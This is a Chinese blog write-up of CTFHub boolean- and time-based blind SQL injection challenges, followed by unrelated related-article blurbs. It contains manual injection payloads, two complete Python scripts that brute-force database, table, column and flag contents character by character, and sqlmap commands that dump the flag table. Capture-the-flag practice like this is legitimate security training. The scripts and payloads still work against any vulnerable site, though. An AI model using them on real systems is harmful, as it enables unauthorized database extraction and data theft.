CTFHub(web sql注入)(二)

2024-04-20 03:36
文章标签 sql 注入 web database ctfhub

本文主要是介绍CTFHub(web sql注入)(二),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

布尔盲注

盲注原理:

将自己的注入语句使用and?id=1并列,完成注入

手工注入:

爆库名长度

首先通过折半查找的方法,通过界面的回显结果找出数据库名字的长度,并通过相同的方法依次找到数据库名字的每个字符、列名,然后再找到flag

输入“1”

成功回显

通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

1 and length(database())=1

1 and length(database())=1

根据库名长度爆库名

获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

1 and substr(database(),1,1)=‘a’

一直尝试

1 and substr(database(),1,1)=‘s’

在这里尝试很多次,却一直显示错误回显。原因目前还未知。具体操作可以看这位大佬

CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

看题解得知,库名为sqli

对当前库爆表数量

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2

库sqli里有两张表

根据库名和表数量爆表名长度

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1

1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4

库sqli有两张表’news’和’flag‘,表名长度均为4

根据表名长度爆表名

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’

不断尝试

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=‘f’

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’

对表爆列数量

1 and (select count(column_name) from information_schema.columns where table_name='flag')=1

根据表名和列数量爆列名长度

1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1

根据列名长度爆列名

1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’

根据列名爆数据值

1 and substr((select flag from sqli.flag),1,1)=“a”

CTFHub-web(sql布尔盲注)_ctf 布尔盲注-CSDN博客

CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

python脚本解题

大神写的python脚本

注意修改url码后,直接运行即可

#导入库
import requests#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-97e9192406bc1be6.sandbox.ctfhub.com:10800/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))#自定义函数获取数据库名长度
def getLengthofDatabase():#初始化库名长度为1i = 1#i从1开始,无限循环库名长度while True:new_url = url + "?id=1 and length(database())={}".format(i)#GET请求r = requests.get(new_url)#如果返回的页面有query_success,即盲猜成功即跳出无限循环if success_mark in r.text:#返回最终库名长度return i#如果没有匹配成功,库名长度+1接着循环i = i + 1#自定义函数获取数据库名
def getDatabase(length_of_database):#定义存储库名的变量name = ""#库名有多长就循环多少次for i in range(length_of_database):#切片,对每一个字符位遍历字母表#i+1是库名的第i+1个字符下标,j是字符取值a-zfor j in ascii_range:new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到库名变量里name += chr(j)#当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表break#返回最终的库名return name#自定义函数获取指定库的表数量
def getCountofTables(database):#初始化表数量为1i = 1#i从1开始,无限循环while True:new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i)r = requests.get(new_url)if success_mark in r.text:#返回最终表数量return i#如果没有匹配成功,表数量+1接着循环i = i + 1#自定义函数获取指定库所有表的表名长度
def getLengthListofTables(database,count_of_tables):#定义存储表名长度的列表#使用列表是考虑表数量不为1,多张表的情况length_list=[]#有多少张表就循环多少次for i in range(count_of_tables):#j从1开始,无限循环表名长度j = 1while True:#i+1是第i+1张表new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j)r = requests.get(new_url)if success_mark in r.text:#匹配到就加到表名长度的列表length_list.append(j)break#如果没有匹配成功,表名长度+1接着循环j = j + 1#返回最终的表名长度的列表return length_list#自定义函数获取指定库所有表的表名
def getTables(database,count_of_tables,length_list):#定义存储表名的列表tables=[]#表数量有多少就循环多少次for i in range(count_of_tables):#定义存储表名的变量name = ""#表名有多长就循环多少次#表长度和表序号(i)一一对应for j in range(length_list[i]):#k是字符取值a-zfor k in ascii_range:new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到表名变量里name = name + chr(k)break#添加表名到表名列表里tables.append(name)#返回最终的表名列表return tables#自定义函数获取指定表的列数量
def getCountofColumns(table):#初始化列数量为1i = 1#i从1开始,无限循环while True:new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i)r = requests.get(new_url)if success_mark in r.text:#返回最终列数量return i#如果没有匹配成功,列数量+1接着循环i = i + 1#自定义函数获取指定库指定表的所有列的列名长度
def getLengthListofColumns(database,table,count_of_column):#定义存储列名长度的变量#使用列表是考虑列数量不为1,多个列的情况length_list=[]#有多少列就循环多少次for i in range(count_of_column):#j从1开始,无限循环列名长度j = 1while True:new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j)r = requests.get(new_url)if success_mark in r.text:#匹配到就加到列名长度的列表length_list.append(j)break#如果没有匹配成功,列名长度+1接着循环j = j + 1#返回最终的列名长度的列表return length_list#自定义函数获取指定库指定表的所有列名
def getColumns(database,table,count_of_columns,length_list):#定义存储列名的列表columns = []#列数量有多少就循环多少次for i in range(count_of_columns):#定义存储列名的变量name = ""#列名有多长就循环多少次#列长度和列序号(i)一一对应for j in range(length_list[i]):for k in ascii_range:new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k))r = requests.get(new_url)if success_mark in r.text:#匹配到就加到列名变量里name = name + chr(k)break#添加列名到列名列表里columns.append(name)#返回最终的列名列表return columns#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):#初始化flag长度为1j = 1#j从1开始,无限循环flag长度while True:#flag中每一个字符的所有可能取值for i in str_list:new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))r = requests.get(new_url)#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环if success_mark in r.text:#显示flagprint(chr(i),end="")#flag的终止条件,即flag的尾端右花括号if chr(i) == "}":print()return 1break#如果没有匹配成功,flag长度+1接着循环j = j + 1#--主函数--
if __name__ == '__main__':#爆flag的操作#还有仿sqlmap的UI美化print("Judging the number of tables in the database...")database = getDatabase(getLengthofDatabase())count_of_tables = getCountofTables(database)print("[+]There are {} tables in this database".format(count_of_tables))print()print("Getting the table name...")length_list_of_tables = getLengthListofTables(database,count_of_tables)tables = getTables(database,count_of_tables,length_list_of_tables)for i in tables:print("[+]{}".format(i))print("The table names in this database are : {}".format(tables))#选择所要查询的表i = input("Select the table name:")if i not in tables:print("Error!")exit()print()print("Getting the column names in the {} table......".format(i))count_of_columns = getCountofColumns(i)print("[+]There are {} tables in the {} table".format(count_of_columns,i))length_list_of_columns = getLengthListofColumns(database,i,count_of_columns)columns = getColumns(database,i,count_of_columns,length_list_of_columns)print("[+]The column(s) name in {} table is:{}".format(i,columns))#选择所要查询的列j = input("Select the column name:")if j not in columns:print("Error!")exit()print()print("Getting the flag......")print("[+]The flag is ",end="")getData(database,i,j,str_range)

在SELECT the table name:后面输入flag

爆破结束后,得到flagCTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客

sqlmap解题

CTFHub-web(sql布尔盲注)_ctf 布尔盲注-CSDN博客

CTFHub技能树web(持续更新)--SQL注入--布尔盲注_ctfhub布尔盲注-CSDN博客

在Kali Linux里面使用sqlmap工具

数据库名称

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" --dbs

数据表名称

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

字段,flag

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump

得到flag

或者分步查询

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

字段

sqlmap -u "http://challenge-7b1f32e875471cc5.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

得到flag

时间盲注

sqlmap解题

CTFHub-web(sql时间盲注)_ctfhub 时间盲注-CSDN博客

http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800

数据库名称

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" --dbs

数据表名称

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

字段名,flag

sqlmap -u "http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --dump

python脚本解题

CTFHub_技能树_Web之SQL注入——时间盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub时间盲注-CSDN博客

import requests
from time import perf_counter# 设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-2b6513b99f9a0338.sandbox.ctfhub.com:10800/'
rs = requests.session()
# 把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'), 1 + ord('z'))
# flag的字符范围列表,包括花括号、横杠、a-z、数字0-9
flag_range = [45, 123, 125] + list(ascii_range) + list(range(48, 58))# 获取指定库中表的数量
def get_count_of_tables():i = 1while True:whole_url = url + '?id=1 and if((select count(*) from information_schema.tables where table_schema=database())={},sleep(0.5),1)'.format(i)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:return ii = i + 1# 获取指定库所有表的表名长度的列表
def get_length_list_of_tables():count_of_tables = get_count_of_tables()length_list = []for i in range(count_of_tables):j = 1while True:whole_url = url + '?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit {},1))={},sleep(0.5),1)'.format(i, j)t1 = perf_counter()rs.get(whole_url)t = perf_counter() -t1if t > 0.5:length_list.append(j)breakj = j + 1return count_of_tables, length_list# 获取指定库的所有表名列表
def get_tables():count_of_tables, length_list = get_length_list_of_tables()name_of_tables = []for i in range(count_of_tables):name = ''for j in range(length_list[i]):for k in ascii_range:whole_url = url + '?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={},sleep(0.5),1)'.format(i, j+1, k)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:name = name + chr(k)breakname_of_tables.append(name)return name_of_tables# 获取指定表中列的数量
def get_count_of_columns(name_of_table):i = 1while True:whole_url = url + '?id=1 and if((select count(*) from information_schema.columns where table_schema=database() and table_name="{}")={},sleep(0.5),1)'.format(name_of_table, i)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:return ii = i + 1# 获取指定表所有列的列名长度列表
def get_length_list_of_columns(name_of_table):count_of_columns = get_count_of_columns(name_of_table)length_list = []for i in range(count_of_columns):j = 1while True:whole_url = url + '?id=1 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="{}" limit {},1))={},sleep(0.5),1)'.format(name_of_table, i, j)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:length_list.append(j)breakj = j + 1return count_of_columns, length_list# 获取指定库的所有列名列表
def get_columns(name_of_table):count_of_columns, length_list = get_length_list_of_columns(name_of_table)columns = []for i in range(count_of_columns):name = ''for j in range(length_list[i]):for k in ascii_range:whole_url = url + '?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="{}" limit {},1),{},1))={},sleep(0.5),1)'.format(name_of_table, i, j+1, k)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:name = name + chr(k)breakcolumns.append(name)return columns# 爆flag
def get_flag(name_of_table, name_of_column):i = 1while True:for j in flag_range:whole_url = url + '?id=1 and if(ascii(substr((select {} from {}),{},1))={},sleep(0.5),1)'.format(name_of_column,name_of_table, i, j)t1 = perf_counter()rs.get(whole_url)t = perf_counter() - t1if t > 0.5:print(chr(j), end="")if chr(j) == '}':print()return 1breaki = i + 1def main():print("Judging the database...")print()print("Getting the table name...")tables = get_tables()for i in tables:print("[+]{}".format(i))print("The table names in this database are : {}".format(tables))table = input("Select the Table name:")if table not in tables:print("Error!")exit()print()print("Getting the column names in the {} table......".format(table))columns = get_columns(table)for i in columns:print("[+]{}".format(i))print("The column names in {} are : {}".format(table, columns))column = input("Select the Column name:")if column not in columns:print("Error!")exit()print()print("Getting the flag......")print("[+]The flag is ", end="")get_flag(table, column)if __name__ == '__main__':main()

运行脚本

输入flag后回车运行

得到flag

但是提交时提示flag错误

ctfhub{1b8e7af8-da83e4e030a879c}

ctfhub{1b8e7af84da83e4e030a879c}

经研究之后,发现为其中一个字符爆破错误,原因暂时还未知。

这篇关于CTFHub(web sql注入)(二)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/919196

相关文章

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点: 1.确保子表中的某个字段(外键)只能引用父表中的有效记录2.主表中的列被删除时,子表中的关联列也会被删除3.主表中的列更新时,子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M

如何去写一手好SQL

MySQL性能 最大数据量 抛开数据量和并发数,谈性能都是耍流氓。MySQL没有限制单表最大记录数,它取决于操作系统对文件大小的限制。 《阿里巴巴Java开发手册》提出单表行数超过500万行或者单表容量超过2GB,才推荐分库分表。性能由综合因素决定,抛开业务复杂度,影响程度依次是硬件配置、MySQL配置、数据表设计、索引优化。500万这个值仅供参考,并非铁律。 博主曾经操作过超过4亿行数据

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

MySQL数据库宕机,启动不起来,教你一招搞定!

作者介绍:老苏,10余年DBA工作运维经验,擅长Oracle、MySQL、PG、Mongodb数据库运维(如安装迁移,性能优化、故障应急处理等)公众号:老苏畅谈运维欢迎关注本人公众号,更多精彩与您分享。 MySQL数据库宕机,数据页损坏问题,启动不起来,该如何排查和解决,本文将为你说明具体的排查过程。 查看MySQL error日志 查看 MySQL error日志,排查哪个表(表空间

MySQL高性能优化规范

前言:      笔者最近上班途中突然想丰富下自己的数据库优化技能。于是在查阅了多篇文章后,总结出了这篇! 数据库命令规范 所有数据库对象名称必须使用小写字母并用下划线分割 所有数据库对象名称禁止使用mysql保留关键字(如果表名中包含关键字查询时,需要将其用单引号括起来) 数据库对象的命名要能做到见名识意,并且最后不要超过32个字符 临时库表必须以tmp_为前缀并以日期为后缀,备份

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

[MySQL表的增删改查-进阶]

🌈个人主页:努力学编程’ ⛅个人推荐: c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构,刷题刻不容缓:点击一起刷题 🌙心灵鸡汤:总有人要赢,为什么不能是我呢 💻💻💻数据库约束 🔭🔭🔭约束类型 not null: 指示某列不能存储 NULL 值unique: 保证某列的每行必须有唯一的值default: 规定没有给列赋值时的默认值.primary key:

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就